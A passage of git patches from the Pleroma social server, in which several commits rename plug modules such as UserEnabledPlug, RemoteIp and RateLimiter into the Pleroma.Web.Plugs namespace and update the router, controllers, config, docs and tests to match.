b/lib/pleroma/web/router.ex index bdf80216c..938809819 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -13,7 +13,7 @@ defmodule Pleroma.Web.Router do pipeline :oauth do plug(:fetch_session) plug(Pleroma.Plugs.OAuthPlug) - plug(Pleroma.Plugs.UserEnabledPlug) + plug(Pleroma.Web.Plugs.UserEnabledPlug) end pipeline :expect_authentication do @@ -34,7 +34,7 @@ defmodule Pleroma.Web.Router do end pipeline :after_auth do - plug(Pleroma.Plugs.UserEnabledPlug) + plug(Pleroma.Web.Plugs.UserEnabledPlug) plug(Pleroma.Plugs.SetUserSessionIdPlug) plug(Pleroma.Plugs.EnsureUserKeyPlug) end diff --git a/test/pleroma/web/plugs/user_enabled_plug_test.exs b/test/pleroma/web/plugs/user_enabled_plug_test.exs index 0a314562a..71c56f03a 100644 --- a/test/pleroma/web/plugs/user_enabled_plug_test.exs +++ b/test/pleroma/web/plugs/user_enabled_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.UserEnabledPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.UserEnabledPlug + alias Pleroma.Web.Plugs.UserEnabledPlug import Pleroma.Factory setup do: clear_config([:instance, :account_activation_required]) -- cgit v1.2.3 From a5987155f70352b76728aad49536c7d298bb30f2 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:03:48 +0300 Subject: UploadedMedia module name --- lib/pleroma/uploaders/uploader.ex | 2 +- lib/pleroma/web/endpoint.ex | 2 +- lib/pleroma/web/plugs/uploaded_media.ex | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/uploaders/uploader.ex b/lib/pleroma/uploaders/uploader.ex index 9a94534e9..6249eceb1 100644 --- a/lib/pleroma/uploaders/uploader.ex +++ b/lib/pleroma/uploaders/uploader.ex @@ -12,7 +12,7 @@ defmodule Pleroma.Uploaders.Uploader do @doc """ Instructs how to get the file from the backend. - Used by `Pleroma.Plugs.UploadedMedia`. + Used by `Pleroma.Web.Plugs.UploadedMedia`. """ @type get_method :: {:static_dir, directory :: String.t()} | {:url, url :: String.t()} @callback get_file(file :: String.t()) :: {:ok, get_method()} diff --git a/lib/pleroma/web/endpoint.ex b/lib/pleroma/web/endpoint.ex index 8b153763d..d147f7145 100644 --- a/lib/pleroma/web/endpoint.ex +++ b/lib/pleroma/web/endpoint.ex @@ -12,7 +12,7 @@ defmodule Pleroma.Web.Endpoint do plug(Pleroma.Plugs.SetLocalePlug) plug(CORSPlug) plug(Pleroma.Plugs.HTTPSecurityPlug) - plug(Pleroma.Plugs.UploadedMedia) + plug(Pleroma.Web.Plugs.UploadedMedia) @static_cache_control "public, no-cache" diff --git a/lib/pleroma/web/plugs/uploaded_media.ex b/lib/pleroma/web/plugs/uploaded_media.ex index 40984cfc0..402a8bb34 100644 --- a/lib/pleroma/web/plugs/uploaded_media.ex +++ b/lib/pleroma/web/plugs/uploaded_media.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.UploadedMedia do +defmodule Pleroma.Web.Plugs.UploadedMedia do @moduledoc """ """ -- cgit v1.2.3 From a07688deb10fa8fa544cc3db2fd0e0366608e372 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:05:23 +0300 Subject: TrailingFormatPlug module name --- lib/pleroma/web/endpoint.ex | 2 +- lib/pleroma/web/plugs/trailing_format_plug.ex | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/web/endpoint.ex b/lib/pleroma/web/endpoint.ex index d147f7145..3543d0b3b 100644 --- a/lib/pleroma/web/endpoint.ex +++ b/lib/pleroma/web/endpoint.ex @@ -79,7 +79,7 @@ defmodule Pleroma.Web.Endpoint do plug(Phoenix.CodeReloader) end - plug(Pleroma.Plugs.TrailingFormatPlug) + plug(Pleroma.Web.Plugs.TrailingFormatPlug) plug(Plug.RequestId) plug(Plug.Logger, log: :debug) diff --git a/lib/pleroma/web/plugs/trailing_format_plug.ex b/lib/pleroma/web/plugs/trailing_format_plug.ex index 8b4d5fc9f..e3f57c14a 100644 --- a/lib/pleroma/web/plugs/trailing_format_plug.ex +++ b/lib/pleroma/web/plugs/trailing_format_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.TrailingFormatPlug do +defmodule Pleroma.Web.Plugs.TrailingFormatPlug do @moduledoc "Calls TrailingFormatPlug for specific paths. Ideally we would just do this in the router, but TrailingFormatPlug needs to be called before Plug.Parsers." @behaviour Plug -- cgit v1.2.3 From d36c9e210a75805753b664d005a8056529af562e Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:06:10 +0300 Subject: StaticFEPlug module name --- lib/pleroma/web/plugs/static_fe_plug.ex | 2 +- lib/pleroma/web/router.ex | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/pleroma/web/plugs/static_fe_plug.ex b/lib/pleroma/web/plugs/static_fe_plug.ex index 143665c71..658a1052e 100644 --- a/lib/pleroma/web/plugs/static_fe_plug.ex +++ b/lib/pleroma/web/plugs/static_fe_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.StaticFEPlug do +defmodule Pleroma.Web.Plugs.StaticFEPlug do import Plug.Conn alias Pleroma.Web.StaticFE.StaticFEController diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 938809819..f7e6cc4f3 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -568,7 +568,7 @@ defmodule Pleroma.Web.Router do pipeline :ostatus do plug(:accepts, ["html", "xml", "rss", "atom", "activity+json", "json"]) - plug(Pleroma.Plugs.StaticFEPlug) + plug(Pleroma.Web.Plugs.StaticFEPlug) end pipeline :oembed do -- cgit v1.2.3 From f7614d4718b8928c92683493e517d7769744d8ef Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:07:39 +0300 Subject: SetUserSessionIdPlug module name --- lib/pleroma/web/plugs/set_user_session_id_plug.ex | 2 +- lib/pleroma/web/router.ex | 2 +- test/pleroma/web/plugs/set_user_session_id_plug_test.exs | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/plugs/set_user_session_id_plug.ex b/lib/pleroma/web/plugs/set_user_session_id_plug.ex index 730c4ac74..e520159e4 100644 --- a/lib/pleroma/web/plugs/set_user_session_id_plug.ex +++ b/lib/pleroma/web/plugs/set_user_session_id_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.SetUserSessionIdPlug do +defmodule Pleroma.Web.Plugs.SetUserSessionIdPlug do import Plug.Conn alias Pleroma.User diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index f7e6cc4f3..379f16252 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -35,7 +35,7 @@ defmodule Pleroma.Web.Router do pipeline :after_auth do plug(Pleroma.Web.Plugs.UserEnabledPlug) - plug(Pleroma.Plugs.SetUserSessionIdPlug) + plug(Pleroma.Web.Plugs.SetUserSessionIdPlug) plug(Pleroma.Plugs.EnsureUserKeyPlug) end diff --git a/test/pleroma/web/plugs/set_user_session_id_plug_test.exs b/test/pleroma/web/plugs/set_user_session_id_plug_test.exs index 11404c7f7..8467d44e3 100644 --- a/test/pleroma/web/plugs/set_user_session_id_plug_test.exs +++ b/test/pleroma/web/plugs/set_user_session_id_plug_test.exs @@ -5,7 +5,7 @@ defmodule Pleroma.Web.Plugs.SetUserSessionIdPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.SetUserSessionIdPlug + alias Pleroma.Web.Plugs.SetUserSessionIdPlug alias Pleroma.User setup %{conn: conn} do -- cgit v1.2.3 From c97c7d982f44b00a75e67ef669f1892697571ca8 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:24:29 +0300 Subject: SetLocalePlug module name --- lib/pleroma/web/endpoint.ex | 2 +- lib/pleroma/web/plugs/set_locale_plug.ex | 2 +- test/pleroma/web/plugs/set_locale_plug_test.exs | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/endpoint.ex b/lib/pleroma/web/endpoint.ex index 3543d0b3b..0512b9c61 100644 --- a/lib/pleroma/web/endpoint.ex +++ b/lib/pleroma/web/endpoint.ex @@ -9,7 +9,7 @@ defmodule Pleroma.Web.Endpoint do socket("/socket", Pleroma.Web.UserSocket) - plug(Pleroma.Plugs.SetLocalePlug) + plug(Pleroma.Web.Plugs.SetLocalePlug) plug(CORSPlug) plug(Pleroma.Plugs.HTTPSecurityPlug) plug(Pleroma.Web.Plugs.UploadedMedia) diff --git a/lib/pleroma/web/plugs/set_locale_plug.ex b/lib/pleroma/web/plugs/set_locale_plug.ex index 9a21d0a9d..d9d24b93f 100644 --- a/lib/pleroma/web/plugs/set_locale_plug.ex +++ b/lib/pleroma/web/plugs/set_locale_plug.ex @@ -3,7 +3,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # NOTE: this module is based on https://github.com/smeevil/set_locale -defmodule Pleroma.Plugs.SetLocalePlug do +defmodule Pleroma.Web.Plugs.SetLocalePlug do import Plug.Conn, only: [get_req_header: 2, assign: 3] def init(_), do: nil diff --git a/test/pleroma/web/plugs/set_locale_plug_test.exs b/test/pleroma/web/plugs/set_locale_plug_test.exs index 3dc73202e..773f48a5b 100644 --- a/test/pleroma/web/plugs/set_locale_plug_test.exs +++ b/test/pleroma/web/plugs/set_locale_plug_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.SetLocalePlugTest do use ExUnit.Case, async: true use Plug.Test - alias Pleroma.Plugs.SetLocalePlug + alias Pleroma.Web.Plugs.SetLocalePlug alias Plug.Conn test "default locale is `en`" do -- cgit v1.2.3 From 8249b757615e701871c7a6bb16e15788d90a1616 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:26:17 +0300 Subject: SetFormatPlug module name --- lib/pleroma/web/feed/user_controller.ex | 2 +- lib/pleroma/web/o_status/o_status_controller.ex | 2 +- lib/pleroma/web/plugs/set_format_plug.ex | 2 +- lib/pleroma/web/web_finger/web_finger_controller.ex | 2 +- test/pleroma/web/plugs/set_format_plug_test.exs | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/pleroma/web/feed/user_controller.ex b/lib/pleroma/web/feed/user_controller.ex index bea07649b..6aad6af44 100644 --- a/lib/pleroma/web/feed/user_controller.ex +++ b/lib/pleroma/web/feed/user_controller.ex @@ -10,7 +10,7 @@ defmodule Pleroma.Web.Feed.UserController do alias Pleroma.Web.ActivityPub.ActivityPubController alias Pleroma.Web.Feed.FeedView - plug(Pleroma.Plugs.SetFormatPlug when action in [:feed_redirect]) + plug(Pleroma.Web.Plugs.SetFormatPlug when action in [:feed_redirect]) action_fallback(:errors) diff --git a/lib/pleroma/web/o_status/o_status_controller.ex b/lib/pleroma/web/o_status/o_status_controller.ex index 329ab64e0..d4d095a75 100644 --- a/lib/pleroma/web/o_status/o_status_controller.ex +++ b/lib/pleroma/web/o_status/o_status_controller.ex @@ -26,7 +26,7 @@ defmodule Pleroma.Web.OStatus.OStatusController do ) plug( - Pleroma.Plugs.SetFormatPlug + Pleroma.Web.Plugs.SetFormatPlug when action in [:object, :activity, :notice] ) diff --git a/lib/pleroma/web/plugs/set_format_plug.ex b/lib/pleroma/web/plugs/set_format_plug.ex index c03fcb28d..c16d2f81d 100644 --- a/lib/pleroma/web/plugs/set_format_plug.ex +++ b/lib/pleroma/web/plugs/set_format_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.SetFormatPlug do +defmodule Pleroma.Web.Plugs.SetFormatPlug do import Plug.Conn, only: [assign: 3, fetch_query_params: 1] def init(_), do: nil diff --git a/lib/pleroma/web/web_finger/web_finger_controller.ex b/lib/pleroma/web/web_finger/web_finger_controller.ex index 7077b20d2..14cb87df8 100644 --- a/lib/pleroma/web/web_finger/web_finger_controller.ex +++ b/lib/pleroma/web/web_finger/web_finger_controller.ex @@ -7,7 +7,7 @@ defmodule Pleroma.Web.WebFinger.WebFingerController do alias Pleroma.Web.WebFinger - plug(Pleroma.Plugs.SetFormatPlug) + plug(Pleroma.Web.Plugs.SetFormatPlug) plug(Pleroma.Web.FederatingPlug) def host_meta(conn, _params) do diff --git a/test/pleroma/web/plugs/set_format_plug_test.exs b/test/pleroma/web/plugs/set_format_plug_test.exs index 1b9ba16b1..e95d751fa 100644 --- a/test/pleroma/web/plugs/set_format_plug_test.exs +++ b/test/pleroma/web/plugs/set_format_plug_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.SetFormatPlugTest do use ExUnit.Case, async: true use Plug.Test - alias Pleroma.Plugs.SetFormatPlug + alias Pleroma.Web.Plugs.SetFormatPlug test "set format from params" do conn = -- cgit v1.2.3 From 4b4c0eef3681f2dd4f9248ee1383f307dcd83730 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:27:29 +0300 Subject: SessionAuthenticationPlug module name --- lib/pleroma/web/plugs/session_authentication_plug.ex | 2 +- lib/pleroma/web/router.ex | 2 +- test/pleroma/web/plugs/session_authentication_plug_test.exs | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/pleroma/web/plugs/session_authentication_plug.ex b/lib/pleroma/web/plugs/session_authentication_plug.ex index 0f83a5e53..6e176d553 100644 --- a/lib/pleroma/web/plugs/session_authentication_plug.ex +++ b/lib/pleroma/web/plugs/session_authentication_plug.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.SessionAuthenticationPlug do +defmodule Pleroma.Web.Plugs.SessionAuthenticationPlug do import Plug.Conn def init(options) do diff --git a/lib/pleroma/web/router.ex b/lib/pleroma/web/router.ex index 379f16252..f90933e5a 100644 --- a/lib/pleroma/web/router.ex +++ b/lib/pleroma/web/router.ex @@ -28,7 +28,7 @@ defmodule Pleroma.Web.Router do plug(Pleroma.Plugs.OAuthPlug) plug(Pleroma.Plugs.BasicAuthDecoderPlug) plug(Pleroma.Web.Plugs.UserFetcherPlug) - plug(Pleroma.Plugs.SessionAuthenticationPlug) + plug(Pleroma.Web.Plugs.SessionAuthenticationPlug) plug(Pleroma.Plugs.LegacyAuthenticationPlug) plug(Pleroma.Plugs.AuthenticationPlug) end diff --git a/test/pleroma/web/plugs/session_authentication_plug_test.exs b/test/pleroma/web/plugs/session_authentication_plug_test.exs index 34518414f..2b4d5bc0c 100644 --- a/test/pleroma/web/plugs/session_authentication_plug_test.exs +++ b/test/pleroma/web/plugs/session_authentication_plug_test.exs @@ -5,8 +5,8 @@ defmodule Pleroma.Web.Plugs.SessionAuthenticationPlugTest do use Pleroma.Web.ConnCase, async: true - alias Pleroma.Plugs.SessionAuthenticationPlug alias Pleroma.User + alias Pleroma.Web.Plugs.SessionAuthenticationPlug setup %{conn: conn} do session_opts = [ -- cgit v1.2.3 From 3be8ab51038cdfeb4bbf78633eb79c4d6f6b8d0b Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:30:32 +0300 Subject: RemoteIp module name --- config/config.exs | 2 +- config/description.exs | 4 ++-- config/test.exs | 2 +- docs/configuration/cheatsheet.md | 6 +++--- lib/pleroma/web/endpoint.ex | 2 +- lib/pleroma/web/plugs/remote_ip.ex | 2 +- test/pleroma/web/plugs/rate_limiter_test.exs | 2 +- test/pleroma/web/plugs/remote_ip_test.exs | 2 +- 8 files changed, 11 insertions(+), 11 deletions(-) diff --git a/config/config.exs b/config/config.exs index d53663d36..273da5bb6 100644 --- a/config/config.exs +++ b/config/config.exs @@ -677,7 +677,7 @@ config :pleroma, Pleroma.Workers.PurgeExpiredActivity, enabled: true, min_lifetime: 600 -config :pleroma, Pleroma.Plugs.RemoteIp, +config :pleroma, Pleroma.Web.Plugs.RemoteIp, enabled: true, headers: ["x-forwarded-for"], proxies: [], diff --git a/config/description.exs b/config/description.exs index 3902b9632..6e83a8e09 100644 --- a/config/description.exs +++ b/config/description.exs @@ -3250,10 +3250,10 @@ }, %{ group: :pleroma, - key: Pleroma.Plugs.RemoteIp, + key: Pleroma.Web.Plugs.RemoteIp, type: :group, description: """ - `Pleroma.Plugs.RemoteIp` is a shim to call [`RemoteIp`](https://git.pleroma.social/pleroma/remote_ip) but with runtime configuration. + `Pleroma.Web.Plugs.RemoteIp` is a shim to call [`RemoteIp`](https://git.pleroma.social/pleroma/remote_ip) but with runtime configuration. **If your instance is not behind at least one reverse proxy, you should not enable this plug.** """, children: [ diff --git a/config/test.exs b/config/test.exs index 95f860f2f..7cc660e3c 100644 --- a/config/test.exs +++ b/config/test.exs @@ -113,7 +113,7 @@ config :pleroma, Pleroma.Emails.NewUsersDigestEmail, enabled: true -config :pleroma, Pleroma.Plugs.RemoteIp, enabled: false +config :pleroma, Pleroma.Web.Plugs.RemoteIp, enabled: false config :pleroma, Pleroma.Web.ApiSpec.CastAndValidate, strict: true diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index ea7dfec98..a6a152b7e 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -416,12 +416,12 @@ This will make Pleroma listen on `127.0.0.1` port `8080` and generate urls start * ``referrer_policy``: The referrer policy to use, either `"same-origin"` or `"no-referrer"`. * ``report_uri``: Adds the specified url to `report-uri` and `report-to` group in CSP header. -### Pleroma.Plugs.RemoteIp +### Pleroma.Web.Plugs.RemoteIp !!! warning If your instance is not behind at least one reverse proxy, you should not enable this plug. -`Pleroma.Plugs.RemoteIp` is a shim to call [`RemoteIp`](https://git.pleroma.social/pleroma/remote_ip) but with runtime configuration. +`Pleroma.Web.Plugs.RemoteIp` is a shim to call [`RemoteIp`](https://git.pleroma.social/pleroma/remote_ip) but with runtime configuration. Available options: @@ -434,7 +434,7 @@ Available options: ### :rate_limit !!! note - If your instance is behind a reverse proxy ensure [`Pleroma.Plugs.RemoteIp`](#pleroma-plugs-remoteip) is enabled (it is enabled by default). + If your instance is behind a reverse proxy ensure [`Pleroma.Web.Plugs.RemoteIp`](#pleroma-plugs-remoteip) is enabled (it is enabled by default). A keyword list of rate limiters where a key is a limiter name and value is the limiter configuration. The basic configuration is a tuple where: diff --git a/lib/pleroma/web/endpoint.ex b/lib/pleroma/web/endpoint.ex index 0512b9c61..003bb1194 100644 --- a/lib/pleroma/web/endpoint.ex +++ b/lib/pleroma/web/endpoint.ex @@ -122,7 +122,7 @@ defmodule Pleroma.Web.Endpoint do extra: extra ) - plug(Pleroma.Plugs.RemoteIp) + plug(Pleroma.Web.Plugs.RemoteIp) defmodule Instrumenter do use Prometheus.PhoenixInstrumenter diff --git a/lib/pleroma/web/plugs/remote_ip.ex b/lib/pleroma/web/plugs/remote_ip.ex index 987022156..401e2cbfa 100644 --- a/lib/pleroma/web/plugs/remote_ip.ex +++ b/lib/pleroma/web/plugs/remote_ip.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.RemoteIp do +defmodule Pleroma.Web.Plugs.RemoteIp do @moduledoc """ This is a shim to call [`RemoteIp`](https://git.pleroma.social/pleroma/remote_ip) but with runtime configuration. """ diff --git a/test/pleroma/web/plugs/rate_limiter_test.exs b/test/pleroma/web/plugs/rate_limiter_test.exs index dfc1abcbd..7c10c97b3 100644 --- a/test/pleroma/web/plugs/rate_limiter_test.exs +++ b/test/pleroma/web/plugs/rate_limiter_test.exs @@ -19,7 +19,7 @@ defmodule Pleroma.Web.Plugs.RateLimiterTest do describe "config" do @limiter_name :test_init - setup do: clear_config([Pleroma.Plugs.RemoteIp, :enabled]) + setup do: clear_config([Pleroma.Web.Plugs.RemoteIp, :enabled]) test "config is required for plug to work" do Config.put([:rate_limit, @limiter_name], {1, 1}) diff --git a/test/pleroma/web/plugs/remote_ip_test.exs b/test/pleroma/web/plugs/remote_ip_test.exs index 14c557694..0bdb4c168 100644 --- a/test/pleroma/web/plugs/remote_ip_test.exs +++ b/test/pleroma/web/plugs/remote_ip_test.exs @@ -6,7 +6,7 @@ defmodule Pleroma.Web.Plugs.RemoteIpTest do use ExUnit.Case use Plug.Test - alias Pleroma.Plugs.RemoteIp + alias Pleroma.Web.Plugs.RemoteIp import Pleroma.Tests.Helpers, only: [clear_config: 2] -- cgit v1.2.3 From 4b1863ca4e0a99d794f856fcb6bf5630d8408825 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 24 Jun 2020 09:35:00 +0300 Subject: RateLimiter module name --- .../web/mastodon_api/controllers/account_controller.ex | 2 +- .../web/mastodon_api/controllers/auth_controller.ex | 2 +- .../web/mastodon_api/controllers/search_controller.ex | 2 +- .../web/mastodon_api/controllers/status_controller.ex | 2 +- .../web/mastodon_api/controllers/timeline_controller.ex | 2 +- lib/pleroma/web/mongoose_im/mongoose_im_controller.ex | 2 +- lib/pleroma/web/o_auth/o_auth_controller.ex | 2 +- lib/pleroma/web/o_status/o_status_controller.ex | 2 +- .../web/pleroma_api/controllers/account_controller.ex | 2 +- lib/pleroma/web/plugs/rate_limiter.ex | 14 +++++++------- test/pleroma/web/plugs/rate_limiter_test.exs | 2 +- 11 files changed, 17 insertions(+), 17 deletions(-) diff --git a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex index 95d8452df..0d9dfb827 100644 --- a/lib/pleroma/web/mastodon_api/controllers/account_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/account_controller.ex @@ -17,7 +17,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountController do alias Pleroma.Maps alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.RateLimiter + alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.ActivityPub.Builder diff --git a/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex b/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex index 57c0be5fe..75b809aab 100644 --- a/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/auth_controller.ex @@ -15,7 +15,7 @@ defmodule Pleroma.Web.MastodonAPI.AuthController do action_fallback(Pleroma.Web.MastodonAPI.FallbackController) - plug(Pleroma.Plugs.RateLimiter, [name: :password_reset] when action == :password_reset) + plug(Pleroma.Web.Plugs.RateLimiter, [name: :password_reset] when action == :password_reset) @local_mastodon_name "Mastodon-Local" diff --git a/lib/pleroma/web/mastodon_api/controllers/search_controller.ex b/lib/pleroma/web/mastodon_api/controllers/search_controller.ex index 5a983db39..d5afac981 100644 --- a/lib/pleroma/web/mastodon_api/controllers/search_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/search_controller.ex @@ -7,7 +7,7 @@ defmodule Pleroma.Web.MastodonAPI.SearchController do alias Pleroma.Activity alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.RateLimiter + alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.Repo alias Pleroma.User alias Pleroma.Web diff --git a/lib/pleroma/web/mastodon_api/controllers/status_controller.ex b/lib/pleroma/web/mastodon_api/controllers/status_controller.ex index ecfa38489..6c1ac9458 100644 --- a/lib/pleroma/web/mastodon_api/controllers/status_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/status_controller.ex @@ -14,7 +14,7 @@ defmodule Pleroma.Web.MastodonAPI.StatusController do alias Pleroma.Bookmark alias Pleroma.Object alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.RateLimiter + alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.Repo alias Pleroma.ScheduledActivity alias Pleroma.User diff --git a/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex b/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex index 5272790d3..cc410d4f4 100644 --- a/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex +++ b/lib/pleroma/web/mastodon_api/controllers/timeline_controller.ex @@ -12,7 +12,7 @@ defmodule Pleroma.Web.MastodonAPI.TimelineController do alias Pleroma.Pagination alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.RateLimiter + alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub diff --git a/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex b/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex index 6cbbe8fd8..42cf5a85f 100644 --- a/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex +++ b/lib/pleroma/web/mongoose_im/mongoose_im_controller.ex @@ -6,7 +6,7 @@ defmodule Pleroma.Web.MongooseIM.MongooseIMController do use Pleroma.Web, :controller alias Pleroma.Plugs.AuthenticationPlug - alias Pleroma.Plugs.RateLimiter + alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.Repo alias Pleroma.User diff --git a/lib/pleroma/web/o_auth/o_auth_controller.ex b/lib/pleroma/web/o_auth/o_auth_controller.ex index a4152e840..a57e2bef4 100644 --- a/lib/pleroma/web/o_auth/o_auth_controller.ex +++ b/lib/pleroma/web/o_auth/o_auth_controller.ex @@ -8,7 +8,7 @@ defmodule Pleroma.Web.OAuth.OAuthController do alias Pleroma.Helpers.UriHelper alias Pleroma.Maps alias Pleroma.MFA - alias Pleroma.Plugs.RateLimiter + alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.Registration alias Pleroma.Repo alias Pleroma.User diff --git a/lib/pleroma/web/o_status/o_status_controller.ex b/lib/pleroma/web/o_status/o_status_controller.ex index d4d095a75..5bd767c96 100644 --- a/lib/pleroma/web/o_status/o_status_controller.ex +++ b/lib/pleroma/web/o_status/o_status_controller.ex @@ -7,7 +7,7 @@ defmodule Pleroma.Web.OStatus.OStatusController do alias Pleroma.Activity alias Pleroma.Object - alias Pleroma.Plugs.RateLimiter + alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPubController alias Pleroma.Web.ActivityPub.Visibility diff --git a/lib/pleroma/web/pleroma_api/controllers/account_controller.ex b/lib/pleroma/web/pleroma_api/controllers/account_controller.ex index 563edded7..d228a875e 100644 --- a/lib/pleroma/web/pleroma_api/controllers/account_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/account_controller.ex @@ -10,7 +10,7 @@ defmodule Pleroma.Web.PleromaAPI.AccountController do alias Pleroma.Plugs.EnsurePublicOrAuthenticatedPlug alias Pleroma.Plugs.OAuthScopesPlug - alias Pleroma.Plugs.RateLimiter + alias Pleroma.Web.Plugs.RateLimiter alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.MastodonAPI.StatusView diff --git a/lib/pleroma/web/plugs/rate_limiter.ex b/lib/pleroma/web/plugs/rate_limiter.ex index d4a707675..669c399c9 100644 --- a/lib/pleroma/web/plugs/rate_limiter.ex +++ b/lib/pleroma/web/plugs/rate_limiter.ex @@ -2,7 +2,7 @@ # Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> # SPDX-License-Identifier: AGPL-3.0-only -defmodule Pleroma.Plugs.RateLimiter do +defmodule Pleroma.Web.Plugs.RateLimiter do @moduledoc """ ## Configuration @@ -35,8 +35,8 @@ defmodule Pleroma.Plugs.RateLimiter do AllowedSyntax: - plug(Pleroma.Plugs.RateLimiter, name: :limiter_name) - plug(Pleroma.Plugs.RateLimiter, options) # :name is a required option + plug(Pleroma.Web.Plugs.RateLimiter, name: :limiter_name) + plug(Pleroma.Web.Plugs.RateLimiter, options) # :name is a required option Allowed options: @@ -46,11 +46,11 @@ defmodule Pleroma.Plugs.RateLimiter do Inside a controller: - plug(Pleroma.Plugs.RateLimiter, [name: :one] when action == :one) - plug(Pleroma.Plugs.RateLimiter, [name: :two] when action in [:two, :three]) + plug(Pleroma.Web.Plugs.RateLimiter, [name: :one] when action == :one) + plug(Pleroma.Web.Plugs.RateLimiter, [name: :two] when action in [:two, :three]) plug( - Pleroma.Plugs.RateLimiter, + Pleroma.Web.Plugs.RateLimiter, [name: :status_id_action, bucket_name: "status_id_action:fav_unfav", params: ["id"]] when action in ~w(fav_status unfav_status)a ) @@ -59,7 +59,7 @@ defmodule Pleroma.Plugs.RateLimiter do pipeline :api do ... - 